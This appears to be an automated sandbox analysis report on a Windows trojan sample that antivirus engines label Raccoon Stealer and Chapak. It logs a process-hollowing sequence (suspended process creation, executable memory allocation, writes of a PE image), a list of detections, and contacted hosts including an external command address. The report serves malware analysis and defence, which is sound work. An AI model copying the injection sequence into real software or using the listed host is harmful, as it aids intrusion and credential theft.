CreateProcessInternalW July 19, 2021, 10:32 a.m.	thread_identifier: 3848 thread_handle: 0x00000370 process_identifier: 3844 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\ac.exe track: 1 command_line: "{path}" filepath_r: C:\Users\test22\AppData\Local\Temp\ac.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x0000036c	1	1
NtGetContextThread July 19, 2021, 10:32 a.m.	thread_handle: 0x00000370	1	0
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3844 region_size: 73728 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x0000036c	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL#·^à¨ Ç à@ @ÄÆWàÿ H.text$§ ¨ `.rsrcÿàª@@.reloc²@B base_address: 0x00400000 process_identifier: 3844 process_handle: 0x0000036c	1	1
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: base_address: 0x00402000 process_identifier: 3844 process_handle: 0x0000036c	1	1
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: P8h àÌlãÌ4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°,StringFileInfo000004b0Comments"CompanyNameFileDescription0FileVersion1.0.0.02 InternalNameStub.exe&LegalCopyrightLegalTrademarks: OriginalFilenameStub.exe"ProductName4ProductVersion1.0.0.08Assembly Version1.0.0.0ï»¿<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false" /> </requestedPrivileges> </security> </trustInfo> <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"> <application> <!-- Windows Vista --> <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/> <!-- Windows 7 --> <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/> <!-- Windows 8 --> <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/> <!-- Windows 8.1 --> <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/> <!-- Windows 10 --> <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/> </application> </compatibility> <asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" > <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings"> <dpiAware>true</dpiAware> </asmv3:windowsSettings> </asmv3:application> </assembly> base_address: 0x0040e000 process_identifier: 3844 process_handle: 0x0000036c	1	1
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: À 7 base_address: 0x00410000 process_identifier: 3844 process_handle: 0x0000036c	1	1

File has been identified by 45 AntiVirus engines on VirusTotal as malicious (45 events)

Bkav	W32.AIDetect.malware1
Lionic	Trojan.Win32.Chapak.4!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.37249573
ALYac	Trojan.GenericKD.37249573
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
K7AntiVirus	Trojan ( 0057f1c81 )
Alibaba	Trojan:Win32/Chapak.182d0dbc
K7GW	Trojan ( 0057f1c81 )
Cybereason	malicious.72e94a
BitDefenderTheta	Gen:NN.ZevbaF.34796.mn0@amUBMcA
ESET-NOD32	a variant of Win32/Injector.EPQK
APEX	Malicious
Paloalto	generic.ml
ClamAV	Win.Malware.Trojanx-9875328-0
Kaspersky	Trojan.Win32.Chapak.ezur
BitDefender	Trojan.GenericKD.37249573
Avast	Win32:TrojanX-gen [Trj]
Rising	Trojan.Injector!1.C6AF (CLASSIC)
Ad-Aware	Trojan.GenericKD.37249573
Sophos	Generic ML PUA (PUA)
DrWeb	Trojan.Siggen14.18758
TrendMicro	TROJ_GEN.R002C0PGF21
FireEye	Generic.mg.e0ee46172e94ab9a
Emsisoft	Trojan.GenericKD.37249573 (B)
SentinelOne	Static AI - Suspicious PE
Avira	TR/Dropper.Gen
MAX	malware (ai score=87)
Kingsoft	Win32.Troj.Chapak.ez.(kcloud)
Microsoft	PWS:Win32/Racealer.RTH!MTB
Gridinsoft	Trojan.Win32.Downloader.sa
Arcabit	Trojan.Generic.D2386225
GData	Trojan.GenericKD.37249573
Cynet	Malicious (score: 100)
McAfee	GenericRXPE-NN!E0EE46172E94
VBA32	BScope.TrojanPSW.Stelega
Malwarebytes	Spyware.RaccoonStealer
TrendMicro-HouseCall	TROJ_GEN.R002C0PGF21
Ikarus	Trojan.Win32.Injector
Fortinet	W32/EPQK.NN!tr
AVG	Win32:TrojanX-gen [Trj]
Panda	Trj/GdSda.A
CrowdStrike	win/malicious_confidence_100% (W)
Qihoo-360	Win32/Trojan.Chapak.HgIASYkA

Connects to IP addresses that are no longer responding to requests (legitimate services will remain up-and-running usually) (7 events)

dead_host	192.168.56.102:49332
dead_host	192.168.56.102:49320
dead_host	79.134.225.25:6970
dead_host	192.168.56.102:49261
dead_host	192.168.56.102:49313
dead_host	192.168.56.102:49330
dead_host	192.168.56.102:49265

zxcv.EXE

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All